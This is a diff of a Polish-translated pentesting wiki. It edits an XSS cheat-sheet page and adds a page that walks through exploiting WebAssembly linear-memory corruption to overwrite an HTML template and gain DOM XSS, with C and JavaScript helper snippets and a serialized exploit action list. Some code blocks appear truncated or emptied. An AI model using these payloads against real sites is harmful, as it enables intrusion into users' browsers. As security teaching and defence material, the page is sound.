obiektach. Na przykład input REGEX można nadal odnaleźć, nawet po usunięciu wartości pola input regexu: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1578,7 +1590,8 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Lista Brute-Force +### Brute-Force List + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt @@ -1588,26 +1601,26 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS w Markdown -Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź: +Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda się uzyskać XSS! Sprawdź: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS do SSRF +### XSS to SSRF -Masz XSS na **stronie korzystającej z cache'owania**? Spróbuj **przekształcić to w SSRF** przez Edge Side Include Injection, używając tego payloadu: +Masz XSS na stronie, która używa pamięci podręcznej? Spróbuj podnieść to do SSRF przez Edge Side Include Injection przy użyciu tego payloadu: ```python ``` -Użyj go, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\ +Use it to bypass cookie restrictions, XSS filters and much more!\ Więcej informacji o tej technice tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS w dynamicznie tworzonym PDF +### XSS w dynamicznie tworzonym pliku PDF -Jeśli strona tworzy PDF przy użyciu danych pochodzących od użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\ -Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **HTML** **tagów**, zacznie je **interpretować**, i możesz **nadużyć** tego zachowania, aby spowodować **Server XSS**. +Jeśli strona WWW tworzy PDF, używając danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\ +Jeśli więc **bot tworzący PDF znajdzie** jakiś rodzaj **tagów HTML**, będzie je **interpretował**, i możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**. {{#ref}} @@ -1623,15 +1636,15 @@ pdf-injection.md ### XSS w Amp4Email -AMP, mające na celu przyspieszenie wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność ze szczególnym naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, mające na celu przyspieszenie wydajności stron WWW na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites). -The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach e-mail. +Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach. -Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Przykład [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS przy przesyłaniu plików (svg) -Prześlij jako obraz plik taki jak poniższy (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1689,7 +1702,7 @@ id="foo"/> ``` Znajdź **więcej SVG payloads w** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Różne triki JS i istotne informacje +## Różne JS Tricks & istotne informacje {{#ref}} diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md new file mode 100644 index 000000000..d9bad8030 --- /dev/null +++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md @@ -0,0 +1,133 @@ +# WebAssembly linear memory corruption to DOM XSS (template overwrite) + +{{#include ../../banners/hacktricks-training.md}} + +Ta technika pokazuje, jak błąd korupcji pamięci w module WebAssembly (WASM) skompilowanym za pomocą Emscripten można wykorzystać do niezawodnego DOM XSS, nawet gdy wejście jest zsanitowane. Pivot polega na uszkodzeniu zapisywalnych stałych w WASM linear memory (np. HTML format templates) zamiast atakować zsanitowany string źródłowy. + +Key idea: W modelu WebAssembly kod znajduje się w nie-zapisywalnych stronach wykonywalnych, natomiast dane modułu (heap/stack/globals/"constants") mieszczą się w jednej płaskiej linear memory (strony po 64KB), która jest zapisywalna przez moduł. Jeśli błędny kod C/C++ zapisze poza granicami, można nadpisać sąsiednie obiekty, a nawet stałe łańcuchy osadzone w linear memory. Gdy taka stała zostanie później użyta do budowy HTML do wstawienia przez DOM sink, zsanitowane wejście można przekształcić w wykonywalny JavaScript. + +Threat model and preconditions +- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module. +- Stan aplikacji znajduje się w WASM linear memory (np. C structs z pointers/lengths do user buffers). +- Input sanitizer koduje metaznaki przed zapisaniem, ale późniejsze renderowanie buduje HTML używając format string przechowywanego w WASM linear memory. +- Istnieje prymityw korupcji linear-memory (np. heap overflow, UAF, lub unchecked memcpy). + +Minimal vulnerable data model (example) +```c +typedef struct msg { +char *msg_data; // pointer to message bytes +size_t msg_data_len; // length after sanitization +int msg_time; // timestamp +int msg_status; // flags +} msg; + +typedef struct stuff { +msg *mess; // dynamic array of msg +size_t size; // used +size_t capacity; // allocated +} stuff; // global chat state in linear memory +``` +Wzorzec podatnej logiki +- addMsg(): alokuje nowy bufor o rozmiarze dopasowanym do oczyszczonego wejścia i dopisuje msg do s.mess, podwajając pojemność za pomocą realloc w razie potrzeby. +- editMsg(): ponownie oczyszcza i za pomocą memcpy kopiuje nowe bajty do istniejącego bufora, nie zapewniając, że nowa długość ≤ starego przydziału → intra‑linear‑memory heap overflow. +- populateMsgHTML(): formatuje oczyszczony tekst z wbudowanym stubem takim jak "

%.*s

" znajdującym się w linear memory. Zwrócone HTML trafia do DOM sink (np. innerHTML). + +Allocator grooming with realloc() +```c +int add_msg_to_stuff(stuff *s, msg new_msg) { +if (s->size >= s->capacity) { +s->capacity *= 2; +s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg)); +if (s->mess == NULL) exit(1); +} +s->mess[s->size++] = new_msg; +return s->size - 1; +} +``` +- Wyślij wystarczająco dużo wiadomości, aby przekroczyć początkową pojemność. Po rozszerzeniu, realloc() często umieszcza s->mess bezpośrednio po ostatnim buforze użytkownika w pamięci liniowej. +- Przepełnij ostatnią wiadomość za pomocą editMsg(), aby nadpisać pola wewnątrz s->mess (np. nadpisać wskaźniki msg_data) → dowolne nadpisanie wskaźników w pamięci liniowej dla danych, które zostaną później wyrenderowane. + +Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source +- Oczyszczanie danych (sanitization) chroni wejście, nie sinki. Znajdź format stub używany przez populateMsgHTML(), np.: +- "

%.*s

" → change to "" +- Zlokalizuj stub deterministycznie przez skanowanie pamięci liniowej; jest to zwykły ciąg bajtów wewnątrz Module.HEAPU8. +- Po nadpisaniu stuba, oczyszczona zawartość wiadomości staje się handlerem JavaScript dla onerror, więc dodanie nowej wiadomości z tekstem takim jak alert(1337) daje i wykonuje się natychmiast w DOM. + +Chrome DevTools workflow (Emscripten glue) +- Ustaw breakpoint na pierwszym wywołaniu Module.cwrap w JS glue i wejdź do miejsca wywołania wasm, aby przechwycić argumenty wskaźnikowe (numeryczne offsety w pamięci liniowej). +- Używaj typowanych widoków takich jak Module.HEAPU8 do odczytu/zapisu pamięci WASM z konsoli. +- Helper snippets: +```javascript +function writeBytes(ptr, byteArray){ +if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); +for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`); +HEAPU8[ptr+i]=byte; +} +} +function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); } +function readBytesAsChars(ptr,len){ +const bytes=HEAPU8.subarray(ptr,ptr+len); +return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join(''); +} +function searchWasmMemory(str){ +const mem=Module.HEAPU8, pat=new TextEncoder().encode(str); +for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int +``` +Pełny przepis na eksploatację end-to-end +1) Przygotowanie: dodaj N małych wiadomości, aby wywołać realloc(). Upewnij się, że s->mess znajduje się obok bufora użytkownika. +2) Przepełnienie: wywołaj editMsg() na ostatniej wiadomości z dłuższym ładunkiem, aby nadpisać wpis w s->mess, ustawiając msg_data wiadomości 0 tak, aby wskazywał na (stub_addr + 1). +1 pomija wiodący '<', aby zachować wyrównanie tagu podczas następnej edycji. +3) Przepisywanie szablonu: edytuj wiadomość 0 tak, aby jej bajty nadpisały szablon następującym ciągiem: "img src=1 onerror=%.*s ". +4) Wywołaj XSS: dodaj nową wiadomość, której oczyszczona zawartość to JavaScript, np. alert(1337). Renderowanie emituje i wykonuje kod. + +Przykładowa lista akcji do serializacji i umieszczenia w ?s= (zakoduj w Base64 przy użyciu btoa przed użyciem) +```json +[ +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080}, +{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080}, +{"action":"add","content":"alert(1337)","time":1756840476392} +] +``` +Dlaczego ten bypass działa +- WASM zapobiega wykonywaniu kodu z linear memory, ale stałe dane wewnątrz linear memory są zapisywalne, jeśli logika programu jest błędna. +- Mechanizm sanitizujący chroni tylko source string; przez uszkodzenie sinka (the HTML template), oczyszczone dane stają się wartością JS handler i wykonują się po wstawieniu do DOM. +- realloc()-driven adjacency plus unchecked memcpy w ścieżkach edycji umożliwia korupcję wskaźników, by przekierować zapisy na adresy wybrane przez atakującego wewnątrz linear memory. + +Uogólnienie i inne powierzchnie ataku +- Każdy in-memory HTML template, JSON skeleton lub URL pattern osadzony w linear memory może być celem, aby zmienić sposób, w jaki sanitized data jest interpretowane downstream. +- Inne powszechne pułapki WASM: out-of-bounds writes/reads w linear memory, UAF na heap objects, function-table misuse z unchecked indirect call indices, oraz JS↔WASM glue mismatches. + +Zalecenia obronne +- W ścieżkach edycji weryfikuj new length ≤ capacity; zmieniaj rozmiar buforów przed kopiowaniem (realloc to new_len) lub używaj API ograniczających rozmiar (snprintf/strlcpy) i śledź capacity. +- Trzymaj immutable templates poza zapisywalnym linear memory lub sprawdzaj ich integralność przed użyciem. +- Traktuj granice JS↔WASM jako nieufne: validate pointer ranges/lengths, fuzz exported interfaces, i ogranicz memory growth. +- Sanityzuj przy sinku: unikaj budowania HTML w WASM; preferuj bezpieczne DOM APIs zamiast innerHTML-style templating. +- Nie ufaj URL-embedded state w uprzywilejowanych przepływach. + +## References +- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/) +- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline) +- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff) +- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t) +- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/) + +{{#include ../../banners/hacktricks-training.md}}